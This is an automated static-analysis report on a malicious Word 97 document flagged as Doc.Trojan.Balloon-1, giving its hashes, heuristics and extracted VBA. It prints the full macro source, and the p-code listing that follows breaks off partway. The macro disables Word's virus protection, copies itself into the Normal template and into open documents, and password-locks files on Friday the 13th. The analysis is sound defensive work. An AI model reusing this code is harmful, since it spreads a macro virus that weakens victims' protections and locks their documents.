Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52071a26d6987033…

MALICIOUS

Office (OLE)

38.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 348f80aae680d106f38a482402b55351 SHA-1: 92e5bb96b445e491f71bbbaa22c5d4195a30cd34 SHA-256: 52071a26d6987033e637e749c7a5794687072d0fe658d7f86db1fa8d0c3a2197
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains a legacy WordBasic AutoClose macro, identified by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. This macro attempts to copy its VBA component named 'SPY' to both the active document and the Normal template, suggesting an attempt at persistence or propagation. The macro also disables virus protection and screen updating, common tactics for malicious scripts. The specific family is not identifiable from the provided evidence.

Heuristics 4

  • ClamAV: Doc.Trojan.Balloon-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Balloon-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7741 bytes
SHA-256: fd86dc42b84ab4aacdecb59b4897001075bab8ed98557d198839e27cafeb8f2f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SPY"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Screen Protection Program\r\n"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Project.SPY.AutoClose"
On Error GoTo SPY
  Application.ScreenUpdating = False
  Application.DisplayAlerts = wdAlertsNone
  
  WordBasic.DisableAutoMacros 0
  Options.VirusProtection = False
  
  Set ADoc = ActiveDocument
  Set GDoc = NormalTemplate
  
  Dinstalled = False
  Ginstalled = False
  
  For i = 1 To ActiveDocument.VBProject.VBComponents.Count
      If ActiveDocument.VBProject.VBComponents(i).Name = "SPY" Then
      Dinstalled = True
      End If
  Next
  
  For J = 1 To NormalTemplate.VBProject.VBComponents.Count
      If NormalTemplate.VBProject.VBComponents(J).Name = "SPY" Then
      Ginstalled = True
      End If
  Next
  
  If Dinstalled = False Then
  Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SPY", Object:=wdOrganizerObjectProjectItems
  ActiveDoc.SaveAs FileName:=ADoc.Name, FileFormat:=wdFormatTemplate
  End If
  
  If Ginstalled = False Then
  Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SPY", Object:=wdOrganizerObjectProjectItems
  Options.SaveNormalPrompt = False
  End If
  
  Randomize
  If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
If WeekDay(Now()) = 1 Or WeekDay(Now()) = 7 Then
  Assistant.Visible = True
  With Assistant.NewBalloon
  .Icon = msoIconAlert
  .Text = "µ¹§Ú©ñ°²,¨ä¾l§K½Í!"
  .Heading = "ÄY­«Äµ§i:"
  .Show
  End With
  
Else
   Set balloon1 = Assistant.NewBalloon
   balloon1.Heading = "¶Ù!²Ö¤F¶Ü?"
   Set balloon2 = Assistant.NewBalloon
   balloon2.Heading = "¨ÓªM¯ù,»´ÃP¤@¤U!"
      balloon1.Show
      balloon2.Show
  Assistant.Visible = False
  With Assistant.NewBalloon
  .Icon = msoIconTip
  .Text = "¸ê°T¦w¥þ,¤H¤H¦³³d"
  .Heading = "¨C¤éĵ»y:"
  .Show
  End With
  
 End If
End If

If WeekDay(Now()) = 6 And Day(Now()) = 13 Then
  If ActiveDocument.HasPassword = False Then
     ActiveDocument.Password = "SPY"
   End If
End If

Application.DisplayAlerts = wdAlertsAll

SPY:
      

End Sub

' Processing file: /opt/analyzer/scan_staging/38febfad5f7b45758660b6813be9c642.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/SPY - 3812 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	OnError SPY 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #3:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #4:
' Line #5:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' Line #8:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set ADoc 
' Line #9:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set GDoc 
' Line #10:
' Line #11:
' 	LitVarSpecial (False)
' 	St Dinstalled 
' Line #12:
' 	LitVarSpecial (False)
' 	St Ginstalled 
' Line #13:
' Line #14:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #15:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0003 "SPY"
' 	Eq 
' 	IfBlock 
' Line #16:
' 	LitVarSpecial (True)
' 	St Dinstalled 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	StartForVariable 
' 	Next 
' Line #19:
' Line #20:
' 	StartForVariable 
' 	Ld J 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #21:
' 	Ld J 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.